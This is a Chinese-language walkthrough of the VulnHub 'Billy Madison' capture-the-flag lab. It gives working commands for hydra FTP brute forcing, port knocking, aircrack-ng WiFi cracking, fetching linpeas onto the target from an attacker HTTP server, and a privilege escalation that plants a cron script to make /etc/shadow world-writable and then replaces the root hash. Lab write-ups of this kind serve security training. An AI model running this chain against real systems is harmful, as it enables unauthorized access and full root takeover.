vulnhub-wp Billy Madison
🖳 主机发现
熟悉的netdiscover -r
─$ sudo netdiscover -r 192.168.234.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.234.45 00:0c:29:1f:87:52 1 60 VMware, Inc.
192.168.234.196 20:1e:88:ad:fc:55 1 60 Intel Corporate
192.168.234.177 c6:62:32:b7:68:66 1 60 Unknown vendor
目标机器是192.168.134.45
👁 服务扫描
使用nmap对其进行扫描
sudo nmap -p- 192.168.234.45 --min-rate 8000
- --min-rate 设置最小发包速度为8000,在靶场环境可以快速扫描出结果
🚪🚶 获取权限
一个个探测,经过尝试,smb服务中有一个txt文件,里面提示我们eric的后门以及关闭了。
23端口用telnet连接后,给了我们一个提示
telnet 192.168.234.45 23
***** HAHAH! You're banned for a while, Billy Boy!
By the way, I caught you trying to hack my wifi - but the joke's on you!
I don't use ROTten passwords like rkfpuzrahngvat anymore!
Madison Hotels is as good as MINE!!!! *****
这里给了一个rot13加密的一个字符串
经过尝试后,这个解密后的字符串是一个web页面的路径
从这个页面我们可以得到的信息有:
- veronica使用她的名字作为密码
- 有一个流量文件在这个路径下,也使用的和veronica相关的名字
那我们先得到一个关于veronica的字典
cat /usr/share/wordlists/rockyou.txt | grep veronica > pass.txt
使用dirbuster进行爆破
从这个流量文件中,我们可以分析出俩个重要信息
- eric在机器上有一个ftp账号
- 该机器的ftp使用了knock服务,需要以一个特定序列进行"敲门"后才会开放
注:knock服务科普
无需多言,我们敲门
注:若是登录ftp的时候报错有关passive的话先输入passive
命令进入passive mode
登录上ftp服务器后,在eric的目录下找到一个.note文件,里面记载了一个后门的打开方法,以及eric的ssh密码在veronica或者billy的目录下。我们爆破一下veronica的ftp试试
hydra -l veronica -P pass.txt 192.168.234.45 ftp
登录上veronica后,我们可以找到一个eml文件和一个cap流量文件,把他下载下来分析一下后发现流量是wifi流量,邮件中也提到了这一点。而wifi的密码就是eric的ssh密码
那我们用aircrack-ng爆破一下wifi密码试试
aircrack-ng eg-01.cap -w /usr/share/wordlists/rockyou.txt
在爆破的同时,我们也发送一下邮件,激活后门
telnet 192.168.234.45 2525
现在我们再进行一个nmap扫描,查看是否有新的服务开启
sudo nmap -p- -sV 192.168.234.45 --min-rate 10000
我们可以使用eric:triscuit* 去ssh连接
🛡️ 提升权限
我们在本地开启python的web服务,然后在靶机上用wget下载辅助提权脚本
kali:
python3 -m http.server 80
eric@BM:/tmp$ wget http://192.168.234.130/linpeas.sh
--2023-12-03 06:56:14-- http://192.168.234.130/linpeas.sh
Connecting to 192.168.234.130:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 847815 (828K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[==================================>] 827.94K --.-KB/s in 0.01s
2023-12-03 06:56:14 (56.4 MB/s) - ‘linpeas.sh’ saved [847815/847815]
eric@BM:/tmp$ chmod +x linpeas.sh
运行脚本之后,我们可以找到一个有趣的文件
我们从整个eric的攻击流程可以知道他使用了一个钓鱼的手法让veronica下载了一个恶意文件,我们可以检查一下这个文件的md5值
eric@BM:/tmp$ md5sum /usr/local/share/sgml/donpcgd
cd3621324a40c20e54aad9ecef2f6ed5 /usr/local/share/sgml/donpcgd
我们用google搜索dgcpnod后即可发现这个exploit的利用方法
而具体的exp如下
eric@BM:/tmp$ touch /tmp/rootme; chmod +x /tmp/rootme; /usr/local/share/sgml/donpcgd /tmp/rootme /etc/cron.hourly/rootme; echo -e '#!/bin/bash \n chmod 777 /etc/shadow' > /etc/cron.hourly/rootme
#### mknod(/etc/cron.hourly/rootme,81fd,0)
然后我们可以用watch命令监察/etc/shadow
watch -n 5 "ls -la /etc/shadow"
-n
指定每次监察间隔
这时我们就可以修改shadow文件来提权(稳妥起见可以先对shadow文件进行备份,不管是修改shadow文件还是passwd文件,原理都是一样的)
第一步:生成密码
mkpasswd -m sha-512 root
-m
加密指定模式
第二步:将原来的hash值或者x(passwd文件)替换为我们生成的hash值
至此,提权成功,使用su切换到root用户
📖 推荐文章
Billy Madison下载
ftp的passive模式
youtube视频 wp
更多文章请访问我的博客rightevil.github.io